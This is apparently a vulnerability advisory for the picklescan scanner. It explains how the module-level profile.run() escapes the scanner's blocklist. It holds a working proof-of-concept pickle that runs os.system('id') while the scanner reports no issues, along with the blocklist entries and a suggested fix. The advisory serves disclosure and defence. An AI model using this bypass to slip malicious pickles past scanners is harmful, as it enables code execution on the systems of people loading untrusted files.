picklescan
Affected
- introduced
0, fixed1.0.4(ecosystem)
Fixed versions
1.0.4
Fix
- Fixed version
1.0.4pip install --upgrade picklescan==1.0.4
Advisory
Also known as: CVE-2026-53873, GHSA-7wx9-6375-f5wh
PickleScan's profile.run blocklist mismatch allows exec() bypass
Summary
picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".
Severity
High — Direct code execution via exec() with zero scanner detection.
Affected Versions
Details
### Root Cause
In scanner.py line 199, the blocklist entry for profile is:
"profile": {"Profile.run", "Profile.runctx"},
When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:
module = "profile"name = "run"The blocklist check at line 414 is:
elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):
This checks: is "run" in {"Profile.run", "Profile.runctx"}?
Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.
What profile.run() Does
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
prof = Profile()
try:
prof.run(statement) # Calls exec(statement)
except SystemExit:
pass
...
profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# profile.run("import os; os.system('id')")
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 60)
+ sbu("profile") + sbu("run") + b"\x93"
+ sbu("import os; os.system('id')")
+ b"\x85" + b"R" + b"."
)
# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN!
# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)
Comparison
| Pickle Global | Blocklist Entry | Match? | Result |
|--------------|-----------------|--------|--------|
| ("profile", "run") | "Profile.run" | NO — "run" != "Profile.run" | CLEAN (bypass!) |
| ("profile", "Profile.run") | "Profile.run" | YES | DETECTED |
| ("profile", "runctx") | "Profile.runctx" | NO — "runctx" != "Profile.runctx" | CLEAN (bypass!) |
The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.
Impact
profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.
Suggested Fix
Change the profile blocklist entry from:
"profile": {"Profile.run", "Profile.runctx"},
to:
"profile": "*",
Or explicitly add the module-level functions:
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},
Resources
scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})scanner.py line 414 (exact string match logic)Lib/profile.py run() function — calls exec()Critical Basis: CVSS v3 score 9.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0, fixed 1.0.4 (ecosystem)1.0.4
1.0.4pip install --upgrade picklescan==1.0.4Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0